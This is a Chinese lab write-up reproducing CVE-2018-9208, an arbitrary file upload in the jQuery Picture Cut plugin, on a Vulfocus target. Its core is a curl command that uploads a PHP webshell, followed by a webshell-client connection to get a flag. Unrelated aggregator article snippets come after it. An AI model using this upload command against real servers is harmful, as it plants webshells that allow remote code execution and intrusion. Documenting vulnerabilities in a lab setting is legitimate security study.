漏洞复现-jquery-picture-cut 任意文件上传_（CVE-2018-9208）
jquery-picture-cut 任意文件上传_（CVE-2018-9208）
漏洞信息
- jQuery Picture Cut v1.1以下版本中存在安全漏洞
- CVE-2018-9208
- 文件上传漏洞
描述
picture cut是一个jquery插件，以友好和简单的方式处理图像，具有基于bootstrap或jquery ui的漂亮界面，具有ajax上传，从资源管理器拖动图像，图像裁剪等强大的功能。jQuery-Picture-Cut/src/php/upload.php 中调用…/core/PictureCut.php 处理文件上传的代码不检查文件类型并允许用户选择文件位置路径。未经身份验证的用户并将可执行的 PHP 文件上传到服务器，从而允许执行代码。
前提
-
volfucs靶场复现
-
可以进入后台
复现过程
访问首页
使用命令将一句话木马传上去，目录为volfucs安装该靶场的位置
jquery-picture-cut/src/php/upload.php
curl -F "inputOfFile=file" -F "request=upload" -F "enableResize=0" -F "minimumWidthToResize=0" -F "minimumHeightToResize=0" -F "folderOnServer=/" -F "imageNameRandom=1" -F "maximumSize=10000" -F "enableMaximumSize=0" -F "file=@yijuhua.php" http://10.9.47.6:56174//jquery-picture-cut/src/php/upload.php
使用中国蚁剑连接
http://10.9.47.6:56174/yijuhua.php
获取flag
相关文章：
漏洞复现-jquery-picture-cut 任意文件上传_（CVE-2018-9208）
jquery-picture-cut 任意文件上传_（CVE-2018-9208） 漏洞信息 jQuery Picture Cut v1.1以下版本中存在安全漏洞CVE-2018-9208文件上传漏洞 描述 picture cut是一个jquery插件，以友好和简单的方式处理图像，具有基于bootstrap…...
Golang Websocket框架：实时通信的新选择
前言 在现代应用程序中，实时通信已经成为了一种必需的特性。而Websocket是一种在客户端和服务器之间建立持久连接的协议，可以实现实时的双向通信。Golang作为一门高效且简洁的语言，也提供了一些优秀的Websocket框架，方便开发者构…...
ExoPlayer架构详解与源码分析（7）——SampleQueue
系列文章目录 ExoPlayer架构详解与源码分析（1）——前言 ExoPlayer架构详解与源码分析（2）——Player ExoPlayer架构详解与源码分析（3）——Timeline ExoPlayer架构详解与源码分析（4）—…...
第二证券：基本面改善预期强化 机构聚焦科技成长
沪指日前迎来“三连涨”。10月26日，上证指数、深证成指和创业板指全部收红，分别收涨0.48%、0.40%、0.65%。此前的两个交易日，上证指数、深证成指也均收涨，创业板指24日涨幅也达到了0.85%。 从近期密布发布的策略报告来看…...
大语言模型在天猫AI导购助理项目的实践！
本文主要介绍了Prompt设计、大语言模型SFT和LLM在手机天猫AI导购助理项目应用。 ChatGPT基本原理 “会说话的AI”，“智能体” 简单概括成以下几个步骤： 预处理文本：ChatGPT的输入文本需要进行预处理。 输入编码：ChatGPT将经过预…...
【STM32】GPIO控制LED（HAL库版）
STM32最新固件库v3.5/Libraries/CMSIS/CM3/DeviceSupport/ST/STM32F10x/system_stm32f10x.c 林何/STM32F103C8 - 码云 - 开源中国 (gitee.com) STM32最新固件库v3.5/Libraries/STM32F10x_StdPeriph_Driver/src/stm32f10x_gpio.c 林何/STM32F103C8 - 码云 - 开源中国 (gitee.…...
第27届亚洲国际动力传动与控制技术展览会盛大开幕，意大利国家展团闪耀回归
2023年10月24日，第27届亚洲国际动力传动与控制技术展览会（PTC ASIA）在上海新国际博览中心正式拉开帷幕。作为亚太地区动力传动行业的风向标，PTC ASIA致力于为来自世界各地的参展企业提供专业的采供、技术信息交互平台，…...
永恒之蓝漏洞 ms17_010 详解
文章目录 永恒之蓝 ms 17_0101.漏洞介绍1.1 影响版本1.2 漏洞原理 2.信息收集2.1 主机扫描2.2 端口扫描 3. 漏洞探测4. 漏洞利用5.后渗透阶段5.1创建新的管理员账户5.2开启远程桌面5.3蓝屏攻击 永恒之蓝 ms 17_010 1.漏洞介绍 永恒之蓝（ms17-010）爆发于…...
汽车托运全流程介绍
从来没有办理过小轿车托运的客户都很好奇究竟汽车是如何被托运的呢?整个托运的过程介绍又是怎样的呢?因为托运汽车装车时客户本人都不在场，看不到整个的托运过程。今天具体的捋顺下整个的操作过程。 托运汽车装车前的准备工作 1.整个车辆装载过程中需要用到2名拥有…...
【API篇】八、Flink窗口函数
文章目录 1、增量聚合之ReduceFunction2、增量聚合之AggregateFunction3、全窗口函数full window functions4、增量聚合函数搭配全窗口函数5、会话窗口动态获取间隔值6、触发器和移除器7、补充 //窗口操作 stream.keyBy(<key selector>).window(<window assigner>)…...
React JSX常用语法总结
React JSX语法 什么是React JSX JSX（javascript xml） 就是JavaScript和XML结合的一种格式，是JavaScript的语法扩展，只要把HTML代码写在JS中，就为JSX。用于动态构建用户界面的Javascript库，发送请求获取数据…...
DVWA-Cross Site Request Forgery (CSRF)
大部分网站都会要求用户登录后，使用相应的权限在网页中进行操作，比如发邮件、购物或者转账等都是基于特定用户权限的操作。浏览器会短期或长期地记住用户的登录信息，但是，如果这个登录信息被恶意利用呢？就有可能发生CSRF CSRF的英文全称为Cross Site Request Forgery，中文…...
浅谈安科瑞可编程电测仪表在老挝某项目的应用
摘要：本文介绍了安科瑞多功能电能表在老挝某项目的应用。AMC系列交流多功能仪表是一款专门为电力系统、工矿企业、公用事业和智能建筑用于电力监控而设计的智能电表。 Abstract：This article introduces the application of the multi-function energy …...
Java项目源码合集
以下只是源码合集的一部分，源码均已本地正常调试运行，如需请与我联系。 序号项目名称演示地址1springbootvue药店销售管理系统https://pan.baidu.com/s/1n-Vk5Pr5z7s3IcN3WsCkdg?pwdve6z 2基于ssm协同过滤技术的旅游景点购票系统https://pan.baidu.com…...
Python学习笔记--生成器
四、生成器 1、为什么需要生成器 通过上面的学习，可以知道列表生成式，我们可以直接创建一个列表。 但是，受到内存限制，列表容量肯定是有限的。而且，创建一个包含 1000 万个元素的列表，不仅占用很大的存储…...
【Python学习】—Python基础语法（五）
【Python学习】—Python基础语法（五） 一、循环的嵌套使用 二、九九乘法表 #外层循环表示行数 for i in range(1,10):#内层循环表示每一行的数据for j in range(1,i1):#输出每一行的内容print(f"{i} * {j} {i * j} \t",end"") #外层…...
【js】JavaScript清除所有（多个）定时器的方法：
文章目录 一、停止单个定时器二、暂停与恢复定时器三、使用Promise来管理定时器四、使用ES6特性管理定时器五、案例（定时获取页面列表数据） 一、停止单个定时器 #在某些情况下，我们可能只需要停止单个定时器。 #在JavaScript中，我…...
java实现周易64卦并返回对应的卦象（含百度百科链接）
《易经》是中华民族传统思想文化中自然哲学与人文实践的理论根源，是古代汉民族思想、智慧的结晶，被誉为“大道之源”，是古代帝王之学，政治家、军事家、商家的必修之术。 《易经》含盖万有，纲纪群伦，是中华…...
# 算法与程序的灵魂
文章目录 前言算法与程序的关系例子1：冒泡排序例子2：斐波那契数列算法优化与进阶总结 前言 大家好我是艾老虎尤，算法与程序是计算机科学中两个非常重要的概念。算法是解决问题的方法和步骤，而程序是算法的具体实现。在计算机科学…...
2023-10-21 美团2024秋招后端开发岗笔试题
1 考察dfs和拓扑排序 1.1 题目描述（如果拓扑排序不清楚可以去做一下lc 207. 课程表） 1.2 答案 import java.util.*;public class Meituan {static int m,n;public static void main(String[] args) {Scanner in new Scanner(System.in);m in.nextInt…...
7.4.分块查找
一.分块查找的算法思想： 1.实例： 以上述图片的顺序表为例， 该顺序表的数据元素从整体来看是乱序的，但如果把这些数据元素分成一块一块的小区间， 第一个区间[0,1]索引上的数据元素都是小于等于10的， 第二…...
简易版抽奖活动的设计技术方案
1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑，确保抽奖活动能够公平、公正、公开地进行，同时满足高并发访问、数据安全存储与高效处理等需求，为用户提供流畅的抽奖体验，助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...
VB.net复制Ntag213卡写入UID
本示例使用的发卡器：https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...
大语言模型如何处理长文本？常用文本分割技术详解
为什么需要文本分割？ 引言：为什么需要文本分割？一、基础文本分割方法1. 按段落分割（Paragraph Splitting）2. 按句子分割（Sentence Splitting）二、高级文本分割策略3. 重叠分割（Sliding Window）4. 递归分割（Recursive Splitting）三、生产级工具推荐5. 使用LangChain的…...
Psychopy音频的使用
Psychopy音频的使用 本文主要解决以下问题： 指定音频引擎与设备；播放音频文件 本文所使用的环境： Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生，我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要，而您认真负责的教学态度，让课程的每一部分都充满了实用价值。 尤其让我…...
听写流程自动化实践，轻量级教育辅助
随着智能教育工具的发展，越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式，也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建，…...
Web中间件--tomcat学习
Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机，它可以执行Java字节码。Java虚拟机是Java平台的一部分，Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...
Spring Security 认证流程——补充
一、认证流程概述 Spring Security 的认证流程基于 过滤器链（Filter Chain），核心组件包括 UsernamePasswordAuthenticationFilter、AuthenticationManager、UserDetailsService 等。整个流程可分为以下步骤： 用户提交登录请求拦…...
【安全篇】金刚不坏之身：整合 Spring Security + JWT 实现无状态认证与授权
摘要 本文是《Spring Boot 实战派》系列的第四篇。我们将直面所有 Web 应用都无法回避的核心问题：安全。文章将详细阐述认证（Authentication) 与授权（Authorization的核心概念，对比传统 Session-Cookie 与现代 JWT（JS…...